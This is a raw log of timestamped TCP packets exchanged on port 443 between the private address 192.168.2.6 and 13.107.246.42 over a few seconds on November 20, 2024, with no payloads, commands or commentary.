Nov 20, 2024 08:12:41.900985956 CET	49872	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.901006937 CET	443	49872	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.912987947 CET	49871	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.913018942 CET	443	49871	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.936517000 CET	49873	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.936562061 CET	443	49873	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.936747074 CET	49873	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.937123060 CET	49873	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.937134027 CET	443	49873	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.967339039 CET	443	49868	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.967946053 CET	443	49868	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.968018055 CET	49868	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.975527048 CET	49868	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.975553989 CET	443	49868	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.975569963 CET	49868	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.975578070 CET	443	49868	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.263154030 CET	49874	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.263195992 CET	443	49874	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.263261080 CET	49874	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.274884939 CET	49874	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.274913073 CET	443	49874	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.490878105 CET	443	49870	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.491833925 CET	49870	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.491859913 CET	443	49870	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.492760897 CET	49870	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.492768049 CET	443	49870	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.534250975 CET	443	49872	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.534682989 CET	49872	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.534702063 CET	443	49872	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.535290956 CET	49872	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.535300016 CET	443	49872	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.546298027 CET	443	49871	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.546669006 CET	49871	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.546680927 CET	443	49871	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.547096968 CET	49871	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.547106981 CET	443	49871	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.571552038 CET	443	49873	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.572016001 CET	49873	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.572031975 CET	443	49873	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.572391033 CET	49873	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.572396994 CET	443	49873	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.595180035 CET	443	49870	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.595403910 CET	443	49870	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.595449924 CET	49870	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.595515966 CET	49870	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.595536947 CET	443	49870	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.595551014 CET	49870	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.595557928 CET	443	49870	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.598408937 CET	49875	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.598437071 CET	443	49875	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.598634958 CET	49875	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.598634958 CET	49875	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.598665953 CET	443	49875	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.633991003 CET	443	49872	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.634067059 CET	443	49872	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.634429932 CET	49872	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.634429932 CET	49872	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.634892941 CET	49872	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.634912014 CET	443	49872	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.637944937 CET	49876	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.637980938 CET	443	49876	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.638034105 CET	49876	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.638313055 CET	49876	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.638329983 CET	443	49876	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.651201963 CET	443	49871	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.651305914 CET	443	49871	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.651345015 CET	49871	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.651433945 CET	49871	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.651449919 CET	443	49871	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.651468992 CET	49871	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.651474953 CET	443	49871	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.654710054 CET	49877	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.654758930 CET	443	49877	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.654814959 CET	49877	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.655143023 CET	49877	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.655153036 CET	443	49877	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.673055887 CET	443	49873	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.673511982 CET	443	49873	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.673563957 CET	443	49873	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.673604965 CET	49873	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.673604965 CET	49873	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.673665047 CET	49873	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.673665047 CET	49873	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.673677921 CET	443	49873	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.673686981 CET	443	49873	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.676235914 CET	49878	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.676271915 CET	443	49878	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.676327944 CET	49878	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.676470041 CET	49878	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.676484108 CET	443	49878	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.908525944 CET	443	49874	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.909166098 CET	49874	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.909183979 CET	443	49874	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:42.909785032 CET	49874	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:42.909796000 CET	443	49874	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.010088921 CET	443	49874	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.010346889 CET	443	49874	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.010791063 CET	49874	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.011061907 CET	49874	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.011063099 CET	49874	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.011089087 CET	443	49874	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.011100054 CET	443	49874	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.013869047 CET	49879	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.013901949 CET	443	49879	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.014435053 CET	49879	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.014684916 CET	49879	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.014693022 CET	443	49879	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.245393038 CET	443	49875	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.245899916 CET	49875	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.245939016 CET	443	49875	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.246361971 CET	49875	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.246376038 CET	443	49875	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.311286926 CET	443	49876	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.311753988 CET	49876	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.311772108 CET	443	49876	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.312302113 CET	49876	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.312305927 CET	443	49876	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.321335077 CET	443	49877	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.321904898 CET	49877	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.321934938 CET	443	49877	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.322443008 CET	49877	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.322449923 CET	443	49877	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.338439941 CET	443	49878	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.339006901 CET	49878	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.339029074 CET	443	49878	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.339437008 CET	49878	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.339442968 CET	443	49878	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.347224951 CET	443	49875	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.347297907 CET	443	49875	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.347495079 CET	49875	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.347563028 CET	49875	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.347563028 CET	49875	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.347604990 CET	443	49875	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.347685099 CET	443	49875	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.350106001 CET	49880	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.350157022 CET	443	49880	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.350227118 CET	49880	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.350395918 CET	49880	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.350405931 CET	443	49880	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.417716026 CET	443	49876	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.417916059 CET	443	49876	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.418020010 CET	49876	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.418107986 CET	49876	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.418107986 CET	49876	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.418137074 CET	443	49876	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.418148041 CET	443	49876	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.421283007 CET	49881	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.421391010 CET	443	49881	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.421473980 CET	49881	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.421650887 CET	49881	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.421680927 CET	443	49881	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.422533035 CET	443	49877	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.422564983 CET	443	49877	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.422622919 CET	443	49877	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.422640085 CET	49877	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.422663927 CET	49877	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.422729969 CET	49877	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.422749996 CET	443	49877	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.422763109 CET	49877	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.422770023 CET	443	49877	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.424976110 CET	49882	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.425013065 CET	443	49882	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.425098896 CET	49882	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.425249100 CET	49882	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.425262928 CET	443	49882	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.443015099 CET	443	49878	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.443273067 CET	443	49878	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.443331003 CET	49878	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.443336964 CET	443	49878	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.443416119 CET	49878	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.443438053 CET	49878	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.443438053 CET	49878	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.443454027 CET	443	49878	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.443461895 CET	443	49878	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.445837975 CET	49883	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.445878983 CET	443	49883	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.446116924 CET	49883	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.446569920 CET	49883	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.446578979 CET	443	49883	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.679295063 CET	443	49879	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.680288076 CET	49879	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.680313110 CET	443	49879	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.680758953 CET	49879	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.680771112 CET	443	49879	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.782061100 CET	443	49879	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.782185078 CET	443	49879	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.782238960 CET	443	49879	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.782373905 CET	49879	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.782603025 CET	49879	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.782622099 CET	443	49879	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.782635927 CET	49879	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.782643080 CET	443	49879	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.785310030 CET	49884	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.785362959 CET	443	49884	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.785608053 CET	49884	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.785805941 CET	49884	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.785820007 CET	443	49884	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.989953995 CET	443	49880	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.993465900 CET	49880	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.993495941 CET	443	49880	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:43.993957043 CET	49880	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:43.993967056 CET	443	49880	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.069340944 CET	443	49881	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.069883108 CET	49881	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.069914103 CET	443	49881	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.070416927 CET	49881	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.070424080 CET	443	49881	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.074299097 CET	443	49882	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.077322960 CET	49882	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.077341080 CET	443	49882	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.077737093 CET	49882	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.077743053 CET	443	49882	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.081664085 CET	443	49883	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.081983089 CET	49883	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.082000017 CET	443	49883	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.082374096 CET	49883	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.082380056 CET	443	49883	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.102561951 CET	443	49880	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.102636099 CET	443	49880	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.104609013 CET	49880	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.104660034 CET	49880	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.104676008 CET	443	49880	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.104712963 CET	49880	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.104718924 CET	443	49880	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.107330084 CET	49885	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.107374907 CET	443	49885	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.107453108 CET	49885	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.107600927 CET	49885	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.107613087 CET	443	49885	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.171503067 CET	443	49881	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.171535969 CET	443	49881	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.171586990 CET	443	49881	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.171588898 CET	49881	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.171633959 CET	49881	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.171860933 CET	49881	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.171876907 CET	443	49881	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.171909094 CET	49881	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.171915054 CET	443	49881	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.174892902 CET	49886	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.174937963 CET	443	49886	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.175009012 CET	49886	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.175153017 CET	49886	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.175164938 CET	443	49886	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.175915003 CET	443	49882	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.176151991 CET	443	49882	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.176278114 CET	49882	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.176311970 CET	49882	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.176321030 CET	443	49882	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.176332951 CET	49882	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.176337004 CET	443	49882	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.178612947 CET	49887	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.178651094 CET	443	49887	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.178703070 CET	49887	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.178872108 CET	49887	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.178884029 CET	443	49887	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.183722973 CET	443	49883	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.183741093 CET	443	49883	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.183801889 CET	49883	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.183813095 CET	443	49883	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.183892012 CET	443	49883	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.183938026 CET	49883	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.184032917 CET	49883	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.184041977 CET	443	49883	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.184053898 CET	49883	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.184058905 CET	443	49883	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.186496019 CET	49888	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.186537027 CET	443	49888	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.186743021 CET	49888	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.186815023 CET	49888	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.186824083 CET	443	49888	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.425733089 CET	443	49884	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.426116943 CET	49884	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.426146030 CET	443	49884	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.426637888 CET	49884	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.426644087 CET	443	49884	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.526163101 CET	443	49884	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.526365042 CET	443	49884	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.526420116 CET	49884	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.526426077 CET	443	49884	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.526474953 CET	49884	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.526702881 CET	49884	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.526722908 CET	443	49884	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.526736975 CET	49884	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.526743889 CET	443	49884	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.529469967 CET	49889	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.529500008 CET	443	49889	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.529582024 CET	49889	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.529783010 CET	49889	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.529788971 CET	443	49889	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.774724007 CET	443	49885	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.820574999 CET	49885	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.843508959 CET	443	49887	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.866672039 CET	443	49886	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.866708040 CET	443	49888	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.898688078 CET	49887	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.929964066 CET	49886	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.933064938 CET	49888	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.961071968 CET	49885	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.961085081 CET	443	49885	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.961607933 CET	49885	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.961612940 CET	443	49885	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.986133099 CET	49887	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.986140966 CET	443	49887	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.987238884 CET	49887	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.987243891 CET	443	49887	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.987642050 CET	49886	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.987684965 CET	443	49886	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.988130093 CET	49886	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.988143921 CET	443	49886	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.988387108 CET	49888	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.988404036 CET	443	49888	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:44.988986015 CET	49888	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:44.988996029 CET	443	49888	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.060983896 CET	443	49885	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.061054945 CET	443	49885	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.061115980 CET	49885	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.061132908 CET	443	49885	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.061232090 CET	443	49885	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.061283112 CET	49885	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.085001945 CET	49885	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.085026979 CET	443	49885	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.086714983 CET	443	49886	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.087053061 CET	443	49886	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.087146044 CET	49886	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.087610960 CET	443	49887	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.087802887 CET	443	49887	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.087856054 CET	49887	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.090233088 CET	443	49888	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.090406895 CET	443	49888	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.090475082 CET	49888	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.102683067 CET	49886	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.102683067 CET	49886	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.102751970 CET	443	49886	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.102781057 CET	443	49886	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.119963884 CET	49887	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.119977951 CET	443	49887	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.119990110 CET	49887	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.119996071 CET	443	49887	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:45.152615070 CET	49888	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:45.152642965 CET	443	49888	13.107.246.42	192.168.2.6
